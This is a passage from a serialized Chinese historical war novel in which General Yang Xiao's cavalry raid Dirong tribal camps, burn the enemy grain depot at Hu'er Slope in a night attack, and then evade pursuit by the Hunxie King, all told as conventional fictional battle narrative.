一路风驰电掣,到了第二天正午时分,有探马来报:“前方发现一处大型部落聚居之处,看样子比前些天的次仁部落大多了。” 大型部落?比次仁部落还要大许多?杨笑立刻命人拿来地图,在地图上查找起来。王燕兴等人也凑了过来。经过一番比对推测后,杨笑把手点在地图上一处标记点:“应该就是这里没错了。” 身边几个人全都露出兴奋的神色来:“看来咱们这回是要捞一网更大的了。” “事不宜迟,立刻搞清楚对方的状况。”几名负责刺探情报的士卒,立刻掉转马头,领命而去。 远看成山,近看成川的茫茫草原,把自己优美壮观的曲线缓缓的延伸到天边,一条河流穿行期间,从天边缓缓地蜿蜒而来。河岸两侧,一座座帐篷顺着河岸连成长长的一片,几乎一眼望不到尽头。 杨笑趴在草地上观察了一阵子后与身边几人说道:“敌人沿河而居,分布狭长,咱们得分头行动。”说着,比划了个拦腰截断的手势。几名将领点头表示明白。杨笑又强调道:“记住,冲进去后不要管别的,直接把那几个最大的帐篷拿下。” 小土坡上,两个放哨的士兵正在火堆旁烤着食物。火焰带来的温暖和食物散发出的香气,让两个哨兵在寒风中感受到了一丝生活的美好。这时候,一群马匹缓缓地靠近了他们所在的小土坡,两个哨兵只是朝那马群瞟了一眼就不再理会了。从两国开战之前开始,像这样的队伍隔三差五的就会来上一波,他们或是赶着牛羊,或是赶着马匹,或是一大车一大车的粮草物资。这些队伍经过这里的时候,多半会在这里停下来歇歇脚,顺带着跟他们所在的部落购买或交换一些物品。 两个哨兵收回目光后,继续烤着他们手里的食物,不时的谈论几句有关这场战争的话题。 “……我听说藩族那边好像不是太顺利的样子啊。”一个哨子说道。 “何止是不顺利,简直就是被人追着屁股打。”另一个哨兵嗅了嗅手里的食物后撇撇嘴说道。 “啊?怎么会这样?你是怎么知道的?”那哨兵问道。 明明周围老远都没有人,但另一个哨兵还是警惕的朝周围看了看,然后向同伴招了招手。两个人往一块儿凑了凑让本就不远的距离更近了一步。那哨兵压低了嗓音,故作神秘的在同伴的耳边说道:“我是前两天给族老们站岗的时候偷听到的。我跟你说啊,我听他们好像说是藩族那边做了一件什么事,好像是把西梁一座大城里的几十万人全都给杀了。” “啊?真的假的?”那哨兵有点被震惊到了。 “当然是真的!听族老他们说,藩族人因为这件事惹恼了西梁一个很厉害的将军,被人家一路追杀了上千里呢。” “诶哟喂!真的?” 见同伴有点儿不太相信自己的样,那哨兵接着说道:“当然是真。最近前边不太顺利的消息,你总听说了吧?” 哨兵点点头:“听说了呀,好像说是不太顺利的样子。” 另一个哨兵气愤道:“就是因为藩族人一路上只顾着自己逃命才把咱们给连累了。听族老说,要不是金帐王大人果断及时的后撤,还不知道要死多少人呢。” “诶哟!好家伙,这可多亏了金帐王大人呐!”那哨兵这次是真的被震惊到了。 就在两个人说话的时候,那群马也走到了他们所在的小山坡底下。另一个哨兵这时就说道:“这些事可都是我偷听来的,你可不要乱到处乱说啊。”他一边叮嘱着同伴一边站起来冲那些赶马的人喊道:“喂!你们是哪个部落的?” 那个还坐在地上的哨兵正点头答应着同伴,嘴里还说着保证不会到处乱传之类的话,就听到同伴扑通一声倒在了自己的脚边。哨兵大惊失色,刚要张嘴示警,却早被数支弩箭穿透了身体。 正午时分,小河边的帐篷里正有一道道炊烟升起,此时的狄戎族人大多都在帐篷里享用着美食。这时,一阵阵马蹄的轰鸣声引起了他们的注意,有人从帐篷里探出身子来想查看是什么情况时,却被迎面而来的弩箭给插了个透心凉。 骑兵们像风一样,眨眼间就冲过了一点点帐篷,所过之处全部都被箭矢和火焰吞没。 当杨笑率人冲进一座硕大而华美的帐篷时,却发现帐篷里面竟然空无一人,杨笑的心里顿时有一种不妙的感觉。按说杨笑这时候最正确的选择就是立刻撤退,以免陷入敌人的陷阱,可这么好的战机就这样离开的话杨笑又有一点不甘心。于是,为了验证自己心里的预感他立刻退出帐篷,又向另一处目标杀过去。 途中,杨笑遇到了王燕兴和另一名将领,从二人的眼神和表情里,也知道大家都遇到了相似的情况。这里除了一些普通的狄戎族人之外,并没有发现任何一个在狄戎族里有身份地位的贵族。 “难道真是中计了?”杨笑等人在心里嘀咕道。 而在狄戎族部落的另一头,一座华美的大帐里,此时正有许多人聚集在一起。他们的身上全都穿戴着金银宝石等华贵的服饰,一看就知道不是一般人。其中一个约莫五十多岁的大胡子男子正站起来举着酒杯向首席之人说着什么。首席之上,一位苍颜老人则微笑着向男子回礼。他身边的一对男女,身着狄戎族人特有的象征新婚的服饰,也向那男子恭敬的回礼。 就在这时,一个侍卫慌慌张张的闯了进来。帐篷里的人顿时都把目光转向了这个该死的冒失鬼。 那侍卫大概从来没有被人像这样注视过,一下子有些吓到了。不过这时候他也顾不得这些了,只见那侍卫咽了咽口水,开口说道:“不好了……。” 侍卫刚说到这里,一个身穿铁甲的高大汉子又闯了进来。那铁甲汉子一进入帐篷,二话不说就把先前那个闯进来的侍卫一斧头给劈死了。 这血腥残暴的一幕,让帐篷里的男女老少皆是哗然。 这时,那铁甲汉子把帐篷里的众人环视一周后,哈哈大笑道:“哈哈哈哈,都是大鱼,老子这回可发了。” 来者不是别人,正是死皮赖脸也要跟在杨笑身边捞军功的杨豹。 只见杨豹拿着斧头指着帐篷里的人,对身后的士卒们说道:“一个都不要放走!” 众士卒齐齐大喝一声,涌上前去。 另一边,正当杨笑等人以为是中了敌人的空城计,想要撤退的时候,却发现杨豹那边早已经打的火热。众人二话不说就往杨豹那边赶。当杨笑他们一路杀过来的时候,却见杨豹这边已经结束了战斗,正押着一帮俘虏笑哈哈的往这边走:“哈哈哈哈,这帮狗娘养的正聚在一起喝喜酒,被我逮个正着。” 这处狄戎族人的部落营地实在是有些大,杨笑他们靠着偷袭也才解决了一少部分人,另外的大部分人全都逃了。通过对这些俘虏的审,终于确定了他们先前的判断。这里的确就是狄戎族三王之一的混邪王的老巢。从这些俘虏的口中知道了这里之所以兵力稀缺,防守松懈,是因为前几天混邪王带着大部分兵力,押着收集来的粮草物资往南苑地界去了。 在这些俘虏的指引下,杨实地们缴获了不少价值极大的物资和情报,尤其是其中的几份地图和羊皮卷,更是把敌人当下的军事机密给透了个底朝天。 如此重要的情报必须立刻传回去。杨笑于是立刻安排人手把这些地图和羊皮卷送回去。 天黑前,一支一千多人的骑兵,带着缴获来的情报和百十来名重要的俘虏踏上了返程的道路。而杨笑则带着余下的人马拿着抄箓下来的地图向另一个方向而去。在地图上,那个方位的一处地方是足以左右当下战局的一处至关重要的所在。 虎儿坡是狄戎族南苑地界里的一处丘峻地带,方里几百里的地域全都是或高或矮,或陡或缓的丘陵。这一带水草丰盛,林木茂蜜,是南苑地界重要的伐木狩猎场所之一。而今天,在这片丘陵沟壑中的一处地方,将成为改变两个国家,两个族群命运的地方。 究竟是一个什么样的地方能有如此重要的价值,杨笑他们又是否能够顺利得手,欲知后事如何,且听下回分解! 第一百五十回 夜袭虎儿坡 上一回说到杨笑他们从混邪王那里得到的情报上,得知了一处极为重要的地点,于是他立刻率军前往。 杨笑他们经过几天几夜马不停蹄的赶路,终于来到了预定的地点。刚一到达目的地,立刻就对这次的行动目标展开了全方位的刺探。 借着夕阳的余辉,杨笑远远的看着远处的一道山谷,那里正有一只队伍经过守备们的盘查后缓缓地走入了山谷。杨笑一边看一边在心里默默的盘算着。在他的身边有王燕兴、杨豹以及另外几名将领,还有十多个负责警戒的士卒。 “好家伙,这片地方还真不小啊!里面的东西肯定不少。”一旁的杨豹着着远处的山谷喃喃道。 “当然大啦!别忘了这里可是存放了鞑靼们一大半的粮草,还有将近一半的军械物资。”旁边的王燕兴被小声说道。 “哦!怪不得守卫这么森严。”杨豹露出一个了然的表情,就好像是别人不说他自己都给忘了那样。接着又问道:“你说他们为什么要把东西都放在这里呢?难道他们不知道鸡蛋不能放在一个篮子里的道理吗?再往后放放不好吗!” 王燕兴瞅了他一眼:“要是你哥在这里的话一定不会这么问的。” “为什么?” 王燕兴有些无语:“你别忘了,这些西都是他们在开战之前就准备好的,那时候人家可是一路高歌猛进,相反的咱们却是一退再退。这么一来,物资存放的地方怎么可能离边境太远?更何况就算是现在,人家也不认为自己会输。你懂了么?” 杨豹似懂非懂的哦了一声。王燕兴也不知道他是真懂还是装懂,反应也不再说话了。就在这时,有一名校尉带着几名士卒来到了杨笑的身边 “将军,属下回来了。”那校尉在杨笑身后抱拳轻声说道。 校尉的声音打断了杨笑的思索,他收回目光扭头向道:“都探查清楚了?” 那校尉俯首道:“都探查过了。” “他们有多少人马?”杨笑问道。 “大概有三四万多人。”校尉回。 “这么多人?防备的还真是紧呢。”杨笑轻吸一口气,摸了摸下巴说道。 “属下把谷中的情况画了一份草图,请将军过目。”那校尉说着把一张草纸递给了杨笑。 杨笑接过来打开看了一眼后,把草纸仔细的叠好放进怀里,然后又看了一眼远处的山谷:“这里不是说话的地方,回去再细说。” 一行人于是又悄无声息的离开了这里。 很快,杨笑等人便回到了营地。说是营地,其实只不过是山沟里树林下一片比较平坦的地方罢了。 在这里杨笑与几位将领们聚在一起,仔细的研究了刺探来的情报,敲定了作战计划。随后由杨笑宣布道:“前面的混邪王部落,还有次仁部落,都逃脱了不少人,关键是他们都有马匹和粮草,敌人很快就会知道我们的行踪,所以留给我们的时间不多了。咱们今晚就行动。虽然敌众我寡,但我们可以利用敌人所在的山谷地形狭长,首尾难以相顾,周围地形又有利于我们隐藏这一特点,集中兵力突然袭击,打他们一个措手不及。记住,咱们首要的目标是毁掉他们的粮草,然后是军械,至于那些活物,直接驱散了事,其他的一律不管。切记,一定不要和敌人陷入缠斗之中,一旦得手,立即撤退!” 众将领全都抱拳齐声道:“末将明白!” 杨笑点点头:“下面我来分配任务。” ……天快黑的时候,山谷里的狄戎族人像往常一样结束了一天的劳作,都在享受着眼前或丰盛美味,或寡淡粗粝的晚餐。 山谷中最大的一座帐篷里,负责看守这里的一众狄戎族的将领们正在大口朵颐着面前的美味。大口吃肉,大碗喝酒,怀里还抱着娇滴滴、笑盈盈的美人儿,相互间谈笑风生,吹着牛皮,真是好不畅快。 当真是应了那一句:前方吃紧,后方紧吃。 众人推杯换盏间,一名下颌间满是络腮胡的壮汉端着酒杯,向对面一个留有八字小胡须的白面男子说道:“我说,诺海家的兄弟,哥哥我怎么觉得你怀里的美人儿比我这个要漂亮啊?”洪亮的声音中透露着粗犷豪爽。 那留着八字小胡须的白面男子,将怀中美人儿喂来的一块肉咬在嘴里后,说道:“哎,哥哥真是说笑了。兄弟我还觉得你那个更好呢?” 那大胡子壮汉一听这话就呵呵呵的乐了起来,接着就说道:“咦,那正好。咱俩换换,那不是刚好合适吗?” 白面男子轻轻一笑:“哥哥喜欢尽管领走。”说着就把怀里的女子给推了出去。 那女子也不矫情,从白面男子的怀里站起来便扭动着腰肢向对面走去。 大胡子壮汉见状,哈哈笑着与对方做了交换。这一幕也引得帐篷内的众人哈哈大笑。 就在这时,一名侍卫从帐外走进来禀报道:“首领,从西边飘过来一股烟,像是什么地方着火了。” 首座上一名面色酱紫的大汉停下手里的动作嗯了一声:“是谷内还是谷外?” 侍卫回道:“看样子像是谷外的。” “速去查明!”那首领一挥手,说道。 侍卫领命而去,众人接着吃喝。 没一会儿功夫,那侍卫就返回来了:“禀首领,是山谷外的草原上着了野火,不过看风向很可能会烧到咱们这里。” 那首领于是说道:“努尔古力,多带些人手前去扑灭,别让火烧到这边了。” 下面一个瘦高汉子起身领命而去,剩下帐内众人继续玩乐。 ……与此同时,山林间的阴影中,正有一排排的甲士在静静的等待着进攻的信号。这些甲士们一个个目露精光,浑身上下全都充满了浓烈的战意。满腔的战意如同烈火奔腾,雷霆滚动。不动则已,一动便是山呼海啸,天崩地裂。 大约又过了一刻多钟的时间,大帐里欢乐的气氛已经进入了高潮,许多女子已经有些衣不遮体了。就在这时,被熏得浑身黢黑的努尔古力回到了大帐中,众人见他满脸是灰的狼狈样子,纷纷大笑不止。 努尔古力却有些急切道:“别笑了!都别笑了!头领,快别笑了,大火就要烧进来了。” 那头领一听,立刻惊起道:“什么?怎么回事?” 众人也在头领站起来的那一刻停止了笑声。 努尔古力接着说道:“风实在是太大了,大火借着风势越烧越大,我们有些顶不住了,大火马上就要烧进来了。” 那首领闻言把手里的酒杯一摔,急道:“诶!快去救火,全部都去救火!” 一时间,整个山谷里全都乱作一团。 ……当天边最后一缕阳光熄灭的时候杨笑终于发出了进攻的信号。 一支火箭托着长长的轨迹,划破了被火光映红的天空,向山谷中落去。 紧随其后的是无数火箭铺天盖地而来。 山谷里的狄戎族人正在奋力的扑救大火,忽然有人叫道:“敌袭!” 话音未落,一道道惨叫之声便纷纷响起。一时间告警声、惨叫声、奔跑声、呼喊声、风声、火声……响遍整片山谷。 噼里啪啦的箭雨中,那个首领在几名侍卫的保护下躲在两垛木材中间,他又惊又怒的叫道:“怎么回事?这到底是怎么回事?周军为什么会出现在这里?” 在失败面前,愤怒和咆哮无济于事。 漫天繁星如雨落,点点莹光催命符。 一波一波的箭雨让毫无防备的狄戎族人死伤惨重。箭雨刚落,漫山遍野便响起了呜呜的号角声,号角声中,数不清的周军从四面八方冲入了山谷中。此时的山谷中,到处都是火,到处都是哀嚎声和叫喊声。 冲进山谷里的万千周军将士们见人就砍,见东西就烧,只不过那些鞑靼们要是不来阻止他们,他们也懒得跟这些家伙们纠缠。 一名士卒举着火把,刚把一个大草垛点着,就有一个狄戎族人从一旁冲了出来,嘴里呜里哇啦的叫着,拿着刀就要向他砍过来。那士卒正要举刀相迎,却听啪的一声,就见那狄族人已被一根羽箭射倒。那士卒看看倒在地上的鞑子,那鞑子的胸口上还插着一根羽箭,又想想这根羽箭刚刚与自己擦肩而过的情景,登时就有些气愤。扭过头就对身后的一名同伴吼道:“你小心点,差点射到我了!干嘛抢我的军功?” 那同伴也不生气,收起弓箭说道:“看着呐!这里这么多东西,你多烧几个仓库不比杀几个鞑子强?” 情势紧急,战机稍纵即逝,像这样捞军功的机会可不多。那士卒也顾不上跟同伴多说,转身就往下一个目标跑去。 …… 王燕兴带着人冲进山谷,正烧杀到兴起的时候有下属来报,说是在前面发现了大量的桐油。他立刻赶过去查看,只见一间间仓库里堆满了一桶桶的桐油。王燕兴大笑道:“哈哈,这可是放火的好东西,可千万不要浪费了。快!每人搬一桶,剩下的全部烧掉。” 众将士闻言纷纷上前人手一桶。剩下没搬完的油桶连同仓库全都一把火给烧了个净光。 …… 杨笑这边带着人冲进了一间仓库里,只见仓库里面全都是码放整齐的麻袋,用刀劈开后从里面哗啦啦流出来的全都是米面粮食。不用杨笑开口,大家就拿着火把纷纷去点燃那些麻袋。可麻袋一被烧破,里面的粮食流出来后,就会把火焰给压灭。没办法,大家只好把仓库的屋顶、门窗等物件给点着了事,最多也就是再往屋里扔几把柴草。可这样一来,这些粮食势必烧不干净。杨笑正发愁的时候,就见王燕兴兴冲冲的带着人赶了过来,每个人的肩上还扛了一只大木桶。 王燕兴带来的桐油可算是帮了大忙。很快,一桶桶桐油就浇在了一垛垛麻袋上,油亮亮的桐油淌的满屋满地都是,然后一把火就把这些粮食给烧了个干干净净。 做完这些后,二人对视一眼,杨笑表示时候差不多了,是时候离开了。王燕兴点点头,从怀里掏出一个焰火来,点燃之后一朵火红的焰火带着嘹亮的声响冲天而去。 …… 另有一名将领带着人冲进了山谷里圈养牲畜的地方。这里到处都关着牛羊马匹等牲畜,他们一边放火,一边放牲畜,忙的不亦乐乎。 …… 杨豹冲进山谷后就有些傻眼了。摆在他面前的全都是圆木,一堆堆的圆木,摆的到处都是,点也不好点,赶又赶不走。杨豹大呼倒霉的同时,也气得直咧嘴。等他冲出这片堆放木材的场地后,终于见到了几座仓库模样的房子。他三步并作两步便闯了进去。 进入这间房子后,借着手里火把放出的亮,只见里面挂满了一块块或黑或红的肉干。杨豹试着拿火把点了点,发现这些肉干根本点不着,气得他狠狠地将火把摔在了地上破口大骂起来。(鬼晓得他在骂什么(? ̄▽ ̄)?)。骂了半天,发泄完心里的火气后,又跑过去老老实实的将火把捡了起来。 实在没脾气的杨豹只得转身嘟嘟囔囔的往外走。刚出门就见几个士卒围在一堆柴草旁边就要点燃那些柴草,杨豹于是赶紧喊道:“嘿!嘿!别烧!别烧!” 他跑过去对几个士卒说了几句,大家伙儿便一边招呼人手一边把柴草抱进了那些仓库里。 当杨豹刚把这些存放肉干的仓库全都点燃的时候,就听见从身后传来了一阵如闷雷般轰隆隆的响声。等杨豹看清那些从夜色和烟尘里冲出来的东西时,一下子把他的脸都给吓得刷白刷白的,丢下一句国骂后就赶紧连滚带爬地往一边躲避。 轰隆隆的声响中,数不清的牛低着头,扬着犄角从杨豹的身边冲了过去,把沿途的一切都摧毁成了渣渣。 躲到安全地带的杨豹,一边抚着胸口喘气一边在心里连呼好险好险。就在这时,只见一道红光冲直冲天际,然后在天空中炸开了一朵绚丽的烟花。 看到撤退的信号后,杨豹从地上爬起来,拍了拍屁股上的土:“走走走,老子再也不来这倒霉地方了。” 毁掉了狄戎族的粮仓后杨笑的下一步行动会是什么?狄戎族又将如何报复?欲知后事如何,且听下回分解。 第一百五十一回 军功,羡慕吗?拿命换的 从杨笑下令发起袭击,再到结束,前前后后也就不足一刻钟的时间,这期间,大部分的狄戎族人都聚集在谷口处扑救大火,留在谷内的人手跟本抵挡不是住从四面八方闯进来的周军。众军得手之后给纷四散而去,分头撒离。 再说谷口处的狄戎族人,虽说有心想要回援,奈何被一波波的箭雨挡住,自身也是损失惨重。好不容易等到箭雨停歇,各路将领们纷纷指挥麾下人马立刻回援谷内,哪知道刚走到寨门处,就听到一阵轰隆隆如同闷雷般的响声从里面传来。还不等他们搞清楚是什么状况,就看见一大群牛羊马匹冲出浓烟,冲破寨门,向他们直冲而来。由于事发突然,距离又太近,许多狄戎族人都来不及躲避就被撞得人仰马翻,最后淹没在这滚滚洪流之中。 等他们进入营塞里面的时候,一切都已经太晚了,所有能烧的基本上都被烧了个净光。当然了,除了那几堆圆木之外。 看着被烧毁的粮草和空当当的牲畜圈,大大小小的将领们全都欲哭无泪。尤其是那头领,真是哭死的心都要有了,这下要怎么向上面交待?忽地,他想起询问西梁军的去向,眼下只有尽可能的收集一些有用的情报,才有可能稍稍的将功赎罪。这样,才有可能保住自己的小命。 这时有人说道:“他们分散离去,根本不知道往哪个方向走了。” 那头领跳着脚叫道:“那么多人怎么可能一点痕迹都不留?怎么可能不知道去哪了?找!快去给我找!” …… 话说杨笑等人一击得手之后便分散离去。到了第二天早上,大家又在数十里外一处约定好的地方聚在一起。随着各路人马陆续聚齐,众将士于是先后开始清点本次的战果。这期间自然是少不了打了胜仗之后的欢声笑语。 一个校尉向他相熟的几个兄弟哥们儿们炫耀着:“哥儿几个都看看,怎么样?白花花的米面。从现在开始自们可是不用吃那些难以下咽的粗鄙东西了,大家伙儿全都精米细面管饱。不但人能吃,马也能吃,怎么样,哥们儿干的不孬吧?” 有人挑着大拇哥说道:“不孬,不孬,这把干的真是不孬。” 那校尉接着又说道:“这还不算,你看这是什么?”他说着转身去抱过一个酒坛子,拍着酒坛子说道:“还有美酒嘞!” 这时有人接过话来说道:“你的美酒正好配我带回来的东西。” 大家于是都问他带回来的是什么。只见那人挠挠头,有点不好意思的往那边一指:“嘿嘿嘿……羊。” 好家伙,这帮人竟然带了一大群肥羊回来。这可真是叫一个顺手牵羊了。 只不过这些肥羊不怎么听话,有些不太好赶,大部分都是被他们在半路上给直接杀掉,然后扛回来的。 那人接着又说道:“我们比较倒霉,进去后那地方除了牛羊牲口之外就没有别的东西了,最后只好抓了这些肥羊回来。不过还好,羊肉能拿来吃,吃完肉以后剩下的羊皮还能为大家伙挡挡风寒什么的。” 听了他的话后大家又都说:“不赖,不赖。” 又有人向身旁的袍泽问道:“你们那边怎么样?都带回来些什么东西?” 只见那人故意清了清嗓子,仰起头来拍着胸脯说道:“哎呀!一般,一般,不过区区几件战甲而已。” 原来他们带回来的是一批各式战甲。 众人闻言都夸好。 这时人群里却有人不服气道:“你那些战甲算什么?不过是些只能用来挨打的东西,再说了,咱们又不缺甲胄。” 于是就有人问道:“看这样子你们是有更好的东西喽?” 那人于是伸出大拇指,趾高气昂地指了指身后说道:“良弓硬弩,箭矢无数!不是我跟你们吹,哥儿几个往外一捆一捆抱箭支,一直抱到手软。哥儿几个,你们谁要是缺弓箭了,尽管说话,管够,哥们儿管够!我跟你们说,这会儿要是有哪个不长眼的东西,敢出现在咱爷们儿的眼前,当场,立刻,给他射成刺猬!” 众人听了全都哈哈大笑拍手叫好。 就在众人闹的正欢的时候,杨豹耷拉着脸从那边走了过来。他这是要去找杨笑汇报战况。 一路上见到大家左一堆儿右一伙儿的聚在一起,都在聊着自己的收获,他就越发的不高兴了。好巧不巧,就在这时候突然有人喊住了杨豹。 “诶,豹哥,你这回有什么好收获呀?” 杨豹听到有人叫自己,便敷衍着“嗯”了一声。他本想着一走了之,赶紧离开这个是非之地,好把事情糊弄过去。谁知道偏有那不开眼的家伙,看热闹不嫌事儿大的,张嘴就说道:“哎!我听朋友说他们好像就带回来几条肉干儿。” 一句话说的众人哄堂大笑,把个杨豹给臊的面红耳赤。 本来杨豹就觉得自己这一趟当真是倒霉透顶,好东西一点没捞着不说,还差点被牛群给撞了。现在众人的这一声嘲笑,让本来就有些小情绪的杨豹一下子火大不已。 可火大归火大,但杨豹却并没有因此就失去理智。他也明白要是因为这个就跟人抡拳头,只会被人更加嘲笑。于是他便又羞又恼在骂道:“笑笑笑,笑你奶奶个腿儿!” 说完就气哼哼的扭头离开了。 众人见他一脸被别人欠钱不还的样子,一时间笑的声音更大了。 …… 另一边,杨笑正在跟王燕兴等几位将领围着地图研究着接下来的行动计划。 见到杨豹走过来后杨笑便问道:“怎么了二叔?” 杨豹似是一下子没有反应过来,“啊”了一声后紧接着就把一颗大脑袋摇的跟拔浪鼓似的,说道:“没什么,跟几个小兔崽子吵架没以赢。” 杨笑对此早已习以为常,听完杨豹的话后也只是微微一笑便继续低头看地图,王燕兴也回过头来看了杨豹一眼。 经过这段时间来的接触,王燕与对杨豹也已是十分的了解了。别看这个家伙五大之粗的,平常的时候性子也是大大咧咧,一副没心没肺的样子,但有的时候心眼儿却是小的很,尤其是在一些鸡毛蒜皮的事情上偏就喜欢钻牛角尖,反而在大事大非面前倒是分的很清楚。时不时的还会在人生感悟上冒出一两句让人意料之外的话来。 王燕兴微微摇头,心里想着真是个有意思的家伙。 几个人又讨论了一阵子后,杨笑说道:“咱们这次把敌人打的这么疼,那些鞑子们肯定不会放过咱们的,接下来的路可就没有那么好走了,大家都要有这个心理准备。” 几名将领都回道:“放心吧将军,我等都明白。大家从出发那天就做好了最坏的打算。” 杨笑把地图一收:“好,那就把东西分配一下,让弟兄们都吃上一顿热乎乎的饱饭,然后咱们就按计划行事。” 众将领命而去。 等众人离开后杨笑走到杨豹跟前交给他一封密信:“这次咱们烧了鞑子们的粮草,这么重要的事得尽快禀报给陛下,好让陛下能乘胜追击扩大战果。一会儿你带上一队人马,吃完饭后马上就走。” 杨豹瞟了那封信一眼,又瞅着杨笑的眼睛说道:“怎么,想把你二叔我给诓回去?” 杨笑拍了拍二叔的肩膀,在他身边并肩而坐,望着不远处正在高高兴兴分发战利品的众将士们,开口道:“咱们在这里闹腾的不轻了,敌人接下来一定会疯狂的追剿咱们,可陛下那边,还没有取得明显的进展,所以咱们还得继续留在这里牵制敌人。这样一来,咱们这帮人搞不好全都要交待在这里,不过运气好的话,说不定还能逃回去一部分人。孩子们都还那么小,我这个做哥哥的不能让他们这么小就没了爹。” 杨豹扭头看着自己这个堂侄子:“我就这么回去了,你怎么办?” 杨笑微微一笑,拍了拍杨豹的肩膀:“放心,我不会有事的。” 杨豹扒拉掉杨笑的手:“晴天白日的净说些大胡话,都是一个脑袋两条胳膊,凭什么你就这么肯定自己不会有事?实活跟你说,这趟出来之前,我可是答应了落侄女儿要照顾好你的。所以,这趟活儿你找别人吧。” 杨豹说着就站起来拍拍屁股走了。 杨笑看着二叔的背影一点点地走远,他知道二叔心里想的并不是他嘴上说的,他是怕自己不好向众将士们交待,怕将士们从此在心里对自己有了芥蒂。 …… 待将士们吃饱喝足后,杨笑带领大家再次踏上了征途。接下来的日子里,将士们又开始了日夜不停的行军,还有时不时的袭击敌人的部落。唯一的变化就是,这天入夜后,有一支百十来是人的队伍,悄悄的离开了大队人马。 凛冽的寒风,会带走草原上所有的生命。欲知后事如何,且听下回分解。 第一百五十二回 重重围堵 两天后,一个肤色偏黑,留着两撇小胡子,下颌蓄着短须的高挑男子来到了山谷里。 男子眼神冰冷,但脸上却看不出有什么表情。他就那么面无表情的骑在马上,看着满目疮痍的山谷。 “禀大王,发现了他们的踪迹。从留下来的痕迹看对方应该不足两万人马,他们在那边短暂停留后往西边走了。”一名将领在勘察完周围的情况后,向那马上的男子禀报道。 常言道:雁过留声,兽过留踪。两万人马,所过之处不可能做到无迹可寻。有经验的探子通过敌人留下的逐痕迹,比如人马的足迹;活动的范围;生火取暖后的灰烬;埋锅造饭后留下来的军灶数目和大小等等痕迹,就可以估算出对方大概的人数、装备、行军方向,甚至是敌军的作战状态。 两万兵马所过之处,多多少少都会留下一些痕迹,不可能做到全无踪迹可寻,而杨笑也没打算过要靠掩盖踪迹来达到隐藏自己迷惑敌人的目的,因为他们靠的是速度。也就是说,只要我足够快,敌人就找不到我,即是找到了,想追上也不是一件容易的事。 这留着两撇小胡须的高挑男子不是别人,正是狄戎族三王之一的混邪王阿吉达 阿吉达摸着嘴吧上的两撇胡须冷声道:“才两万人就把这么多地方搞的鸡飞狗跳,那些留在领地里的头领们是干什么吃的?还有那个蠢货,出了这的大的事,竟然还有脸求饶?你,去把他的脑袋摘下来。” 阿吉达说完后轻轻的吐了口气,似乎在极力的压制着心中的怒火。 “是!我的王。”那将领抚胸一礼后领命而去。 阿吉达望着西方的天际线喃喃了一句:“往西边走了……”随既便命令道:“去告诉西边所有的头领们,一定要把他们留住。” “是!大王。”阿古达身后立刻有侍卫拨马而去。 杨笑这边依然是一边走一边收剿沿途的大小部落。这天,在拿下一处狄戎族的小部落后,将士们在原地休整片刻。 杨豹坐在地上收拾着手里的一面盾牌。 自从烧毁敌人的粮仓后,杨笑就知道自己一定会遭到敌人的围追堵截,眼下除了靠速度来摆脱敌人外,还要适当的准备一些防御性的武器。 必经凡事都讲究个未雨绸缪嘛。 这样一来,盾牌就成了必备的物品。虽然在虎儿坡一仗中也缴获了一些盾牌,但杨笑还是觉得有点不够,于是就让大家利用沿途缴获来的兽皮木材等物品,做了一些简易的盾牌,以备不时之需。 这时杨豹身边的一个士率说道:“杨头。” 这是杨豹手底下的士卒们私下里对他的称呼。 杨豹头也不抬的应了一声:“什么事?” “你说自们把鞑子们的米缸跟灶台全都给砸了,那鞑子们肯定气坏了,按道理来说咱应该赶紧往回走,省得被人家给按住了,你说是吧?可这些天咱们这七拐八拐,这是要去哪呢?”那士卒有些想不明白:“就算是绕路也……也绕的多了点吧?” 杨豹一边摆弄着手里的盾牌一边说道:“这你就不懂了吧?” 那士卒便觍着脸道:“那就劳烦杨哥给兄弟说道说道呗?” 这家伙也是个没皮没脸的,一到了求人的时候连称呼都变了。 杨豹哼了一声:“你自己都知道闯完祸要往家里跑,那鞑靼们又不是傻子,人家难道不知道?到时候人家要是在咱们回家的路上等着咱,那咱不就等于是低着头往人家怀里撞吗?再说了,咱们出来是干嘛来了?咱不就是来使劲霍霍他们家来了吗?咱们现在回去来什么?咱还没玩够呢!我告诉你,咱们在这边闹的越厉害,吸引敌人的力量就会越多,陛下那边的压力就会越小,咱们在这边多坚持一天,陛下那边的压力就会多减一份,胜算就会越多一分,就会越早取胜。等到了大局已定的那天,别说这帮鞑靼们敢追咱们,咱不到他们的老窝黄龙城里去闹一闹就不错了。” 那士卒听杨豹滔滔不绝的说着,不时间还似懂非懂的点点头,等杨豹说完后,那士卒说道:“哇!杨头,你什么时候变的这么聪明了?” 杨豹嘻嘻一笑:“怎么样,是不是发现哥其实也挺厉害的?” 那士卒使劲的点着头,也不知道是真心的还是故意做样子给人看的。 杨豹笑过之后把身子往这边一靠,让两个人的距离更近一些后故作神秘的小声道:“别往外说啊,其实我都是听别人说的。” 说完两个人就哈哈哈的笑作了一团。 二人正说笑间就听到有人招呼道:“出发了,出发了……。” 两个人于是赶紧收捡好东西上马而去。 就这样,杨笑带领众将士一会儿往西,一会儿往东,在草原上跟狄戎族人玩起了猫抓老鼠的游戏来。只不过这只老鼠属实是有点难抓不说,还时不时的被他们或是拿下哪个小部落,或是又抓了哪个部落的头脑人物,在鸡飞狗跳中一晃就又是半个月过去了。 混邪王的营帐里跪了一大片的各路头领、将军,而混邪王则正在气的摔酒杯,掀卓子。 “蠢材!蠢材!全都是蠢材!再抓不到人全部提头来见!” 跪在下面的人则是吓的大气儿都不敢出,一个个的把脑袋都要低到裤裆里了。 就在这时,一名侍卫从帐外跑进来在混邪王的耳边低声说了几句。混邪王听罢把眼睛一瞪问道:“确定了吗?” 那侍了俯首道:“确定无疑。” 混邪王听后眼神闪烁,思索一番后回身坐回到座位上,伸手就要去提笔写信。结果手伸到半截才反应过来,桌案早就被自己给掀翻了,那还有什么笔墨纸砚。于是他起身就要去地上捡起纸笔。这时,早有那有眼力见的下属,双手已经奉上了纸笔,然后又扶起桌案。 混邪王接过纸笔后重新坐好,刷刷刷的快速写好一封密信,将它交到侍卫的手里,并叮嘱道:“立刻将这封信送到大可汗的手里,请他务必要派几个过来。” 那侍卫双手接过密信躬身后退几步,然后转身离去。 混邪王一直目送着那侍卫离开,确切的说,是看着那侍卫手里的密信离开。直到那侍卫出了帐篷,混邪王才缓缓的把目光收了回来,可见他对那封密信的期望有多高。 忽地,混邪王把脸色一变,对着下方众人叫道:“还待在这里干什么?等着领赏吗?” 跪在地上的众人这才如蒙大赦般,纷纷逃出了大帐。 …… 再说杨笑这边。 